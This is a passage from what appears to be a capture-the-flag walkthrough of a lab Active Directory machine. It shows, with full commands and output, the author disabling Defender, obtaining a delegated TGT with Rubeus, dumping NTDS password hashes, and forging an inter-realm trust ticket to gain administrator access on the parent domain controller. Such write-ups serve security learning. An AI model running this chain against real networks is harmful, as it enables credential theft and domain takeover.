CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]
[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=19c14410)
[+] Get Token: 880
[!] process with pid: 3740 created.
==============================
nt authority\system
I’ll be grabbing a reverse shell with this.
Firstly let’s disable that pesky antivirus
1
PS C:\w1ld> Set-MpPreference -DisableRealtimeMonitoring $True
I’ll then grab a TGT so I can authenticate remotely, note that I’ve established a tunnel to the 10.0.0.0/24 network and added the corp.primary.htb to my /etc/hosts folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
PS C:\w1ld> ./Rubeus.exe tgtdeleg /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/PRIMARY.corp.ghost.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: t5A+CqbBWj7oVfMtv6BWJG6+SQYWicUHUNielPhraFQ=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIFxjCCBcKgAwIBBaEDAgEWooIExTCCBMFhggS9MIIEuaADAgEFoRAbDkNPUlAuR0hPU1QuSFRCoiMwIaADAgECoRowGBsGa3JidGd0Gw5DT1JQLkdIT1NULkhUQqOCBHkwggR1oAMCARKhAwIBAqKCBGcEggRjI2+iSHb79V1ygETUfQi/eaM76KhArzrxIHufH7rFlyYsfCCyR1M4AKxB0iJBuUVxzoVDRs1d9n3hGKvryOWYUOKtezyrWtXIipsDz1MYd8CTzECWPle/PZAsd0G87yClAXGsjdF0OmJorgnUORdVosb9+BGBPUnqOJ/ycsk6uztUE+nckQDPbF5bRj+LjB22OuOWYoLzbMZCiHUEWOxEqcuy3ACtnfMhpfgDfxXBc1R9g2C8JEpwvzGSfqBPGDlX41sHuDDyo+RvZ4++fvxRh+lYc4DHoF/RUiatWZhxSYrc4SUQufyJLf382vE2TCEP4oeryNDBoK2zGBJo27dN+FXOdAMvMHjHtF7Za41ytHas7LafKH6bl6gEw+czJU3vA7ZfEwj1M5Zz1RtqBQ55XnXMExBSacLp9UIE8k6yBpBzzv0KWn0YsMB/D+h7UfJ14yUYLurBmKJaHUa7CYEf3j2jjkfHvYaRnSyCu5RKP7ji2KY+nNx9i5/iPOJTXRorPk84Wre67IU06E74w44h8nsv03CxCRPEsH9X7TRRcwmZblZsINWe27D0DqAryPhhI1Swg+kOtqkpBL3DbJpIbP+gSAWTnjqMSa+8jdN2mHETU5KVF4ad3k91iXr1S4ZrGgaqJKXH+kl3G5J5zL8flYorCoapPy2nMpMFfGHkTrLiw8ZJi0d0/5P3tnVxNJZUM3BxIdSRORlP0HEBdx8zqclI+97Ua9/bP2gYDYgausljPNI/Q1o/1iXrQySttfGX1Zwb04/e48F5U5uMtYa/HiKCNsufKUL5+t8CamMmzYwxQg1dbe0N6pik02EZEA9KgI9jRrvf91ilfFqiGn5XIBIh6KGKEUJoQq/5rfwNIw3zIPEcwoo6u7M8M66iFpOqi8eXuRQk9Zxd8QLwazdwZpwlODPvGGrl+0NrxC9FpuYMMSvm3VG4osD7HyOFxKjtU5EvfDbqfFQUAQOrnwzNoDA9tdw9GMnIcQCIaVWe3yELf3kZwOF6Q8DbHO7TwPWBXfeTGDl/Xm4CpNEiC04GlcXEowDo4BEJP3Ne3fbvcfuyRAdusfEPLEzc4Rk/jY6pvIafp+t3ETTVVE8sv5o8CySMbgGYkgbCaoOOQqu06h5iB6byWiSXJZo2S69gXr52BuG+yfIm22AtxzUmm7jYrHgaJ/m3FxMAmr2ZrdYLdHE+O14rWPbrFhlEJzJQesXt03GlQla5z3G/IfKYgzyGEq4JmQ+R+wxYxV+l/dRgVppI8uIwcvN9f4YuuYevqvvShL6C7DM1SMQK8r6eephZoTHGPb9W+8AUz/iQBYorXbznBlw4lVlnGraM9RKd0WceHYmmA6ewZMD2XOfg3NIVYdof0hM0ny0RjcTiZFd9tlYrzp7aQscXevY3l+NXFnmxL27PQaH0k2HnmZFcRiPytHVtS/FPq2pb8G5KuySV3N/Y3T4+pPDwiQU07Ua79Afz5oDF2B7YkCV05IwS2Xz+s5N65qOB7DCB6aADAgEAooHhBIHefYHbMIHYoIHVMIHSMIHPoCswKaADAgESoSIEIK3Fp0pKPIHsQNIZOIU9opRgm78PwskeCeytg9DMnX4hoRAbDkNPUlAuR0hPU1QuSFRCohUwE6ADAgEBoQwwChsIUFJJTUFSWSSjBwMFAGChAAClERgPMjAyNjA5MjQxMTAyNDVaphEYDzIwMjYwOTI0MjEwMjQ1WqcRGA8yMDI2MTAwMTAxMjg0OFqoEBsOQ09SUC5HSE9TVC5IVEKpIzAhoAMCAQKhGjAYGwZrcmJ0Z3QbDkNPUlAuR0hPU1QuSFRC
==========
PS /home/w1ld/ALPHA/ghost> ticketConverter.py -b ./primary.kirbi ./primary.ccache
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] base64 decoding ticket
[*] converting kirbi to ccache...
[+] done
PS /home/w1ld/ALPHA/ghost> cp ./primary.ccache /tmp/krb5cc_1000
PS /home/w1ld/ALPHA/ghost> klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: PRIMARY$@CORP.GHOST.HTB
Valid starting Expires Service principal
09/24/2026 21:02:45 09/25/2026 07:02:45 krbtgt/CORP.GHOST.HTB@CORP.GHOST.HTB
renew until 10/01/2026 11:28:48
PS /home/w1ld/ALPHA/ghost> nxc smb corp.ghost.htb -k --use-kcache
SMB corp.ghost.htb 445 PRIMARY [*] Windows Server 2022 Build 20348 x64 (name:PRIMARY) (domain:corp.ghost.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB corp.ghost.htb 445 PRIMARY [+] CORP.GHOST.HTB\PRIMARY$ from ccache
Let’s dump ntds
1
2
3
4
5
6
7
8
9
10
11
12
13
PS /home/w1ld/ALPHA/ghost> nxc smb corp.ghost.htb -k --use-kcache --ntds
SMB corp.ghost.htb 445 PRIMARY [*] Windows Server 2022 Build 20348 x64 (name:PRIMARY) (domain:corp.ghost.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB corp.ghost.htb 445 PRIMARY [+] CORP.GHOST.HTB\PRIMARY$ from ccache
SMB corp.ghost.htb 445 PRIMARY [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB corp.ghost.htb 445 PRIMARY [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB corp.ghost.htb 445 PRIMARY Administrator:500:aad3b435b51404eeaad3b435b51404ee:41515af3ada195029708a53d941ab751:::
SMB corp.ghost.htb 445 PRIMARY Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB corp.ghost.htb 445 PRIMARY krbtgt:502:aad3b435b51404eeaad3b435b51404ee:69eb46aa347a8c68edb99be2725403ab:::
SMB corp.ghost.htb 445 PRIMARY PRIMARY$:1000:aad3b435b51404eeaad3b435b51404ee:27f92da5e3d79962020ddebc08ed7d70:::
SMB corp.ghost.htb 445 PRIMARY GHOST$:1103:aad3b435b51404eeaad3b435b51404ee:7af2e44b36d8540c05bb89442ba5a599:::
SMB corp.ghost.htb 445 PRIMARY [+] Dumped 5 NTDS hashes to /home/w1ld/.nxc/logs/ntds/PRIMARY_corp.ghost.htb_2026-09-25_005747.ntds of which 3 were added to the database
SMB corp.ghost.htb 445 PRIMARY [*] To extract only enabled accounts from the output file, run the following command:
SMB corp.ghost.htb 445 PRIMARY [*] grep -iv disabled /home/w1ld/.nxc/logs/ntds/PRIMARY_corp.ghost.htb_2026-09-25_005747.ntds | cut -d ':' -f1
I’ve attempted to raise a child however this didn’t work for me as the golden ticket seemed invalid no matter what I did. Instead I forged a trust ticket which is an inter-realm tgt.
1
2
3
4
5
6
7
8
9
10
11
12
13
PS /home/w1ld/ALPHA/ghost> ticketer.py -nthash 7af2e44b36d8540c05bb89442ba5a599 -domain-sid S-1-5-21-2034262909-2733679486-179904498 -domain corp.ghost.htb -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 -spn krbtgt/ghost.htb w1ld
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for corp.ghost.htb/w1ld
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving/Updating ticket in w1ld.ccache
Let’s use this TGT to grab an ST
1
2
3
4
5
6
7
8
9
10
11
PS /home/w1ld/ALPHA/ghost> getST.py -k -no-pass -debug -spn 'cifs/dc01.ghost.htb' 'ghost.htb/w1ld'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[+] Impacket Library Installation Path: /home/w1ld/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket
[+] Using Kerberos Cache: /tmp/krb5cc_1000
[+] Returning cached credential for KRBTGT/GHOST.HTB@CORP.GHOST.HTB
[+] Using TGT from cache
[+] Username retrieved from CCache: w1ld
[*] Getting ST for user
[+] Trying to connect to KDC at GHOST.HTB:88
[*] Saving ticket in w1ld@cifs_dc01.ghost.htb@GHOST.HTB.ccache
Let’s check our authentication
1
2
3
4
5
6
7
8
9
10
PS /home/w1ld/ALPHA/ghost> klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: w1ld@CORP.GHOST.HTB
Valid starting Expires Service principal
09/25/2026 01:07:47 09/25/2026 11:07:47 cifs/dc01.ghost.htb@GHOST.HTB
renew until 09/26/2026 01:07:45
PS /home/w1ld/ALPHA/ghost> nxc smb dc01.ghost.htb -k --use-kcache
SMB dc01.ghost.htb 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB dc01.ghost.htb 445 DC01 [+] CORP.GHOST.HTB\w1ld from ccache (Pwn3d!)
Success! We’re admin, let’s check our desktop.
1
2
3
4
5
6
7
8
9
10
11
12
PS /home/w1ld/ALPHA/ghost> nxc smb dc01.ghost.htb -k --use-kcache -x "dir C:\Users\Administrator\Desktop"
SMB dc01.ghost.htb 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB dc01.ghost.htb 445 DC01 [+] CORP.GHOST.HTB\w1ld from ccache (Pwn3d!)
SMB dc01.ghost.htb 445 DC01 [+] Executed command via atexec
SMB dc01.ghost.htb 445 DC01 Volume in drive C has no label.
SMB dc01.ghost.htb 445 DC01 Volume Serial Number is 2804-C13F
SMB dc01.ghost.htb 445 DC01 Directory of C:\Users\Administrator\Desktop
SMB dc01.ghost.htb 445 DC01 07/03/2024 01:28 PM <DIR> .
SMB dc01.ghost.htb 445 DC01 01/30/2024 10:19 AM <DIR> ..
SMB dc01.ghost.htb 445 DC01 09/23/2026 06:31 PM 34 root.txt
SMB dc01.ghost.htb 445 DC01 1 File(s) 34 bytes
SMB dc01.ghost.htb 445 DC01 2 Dir(s) 3,410,259,968 bytes free
There we can find the root flag.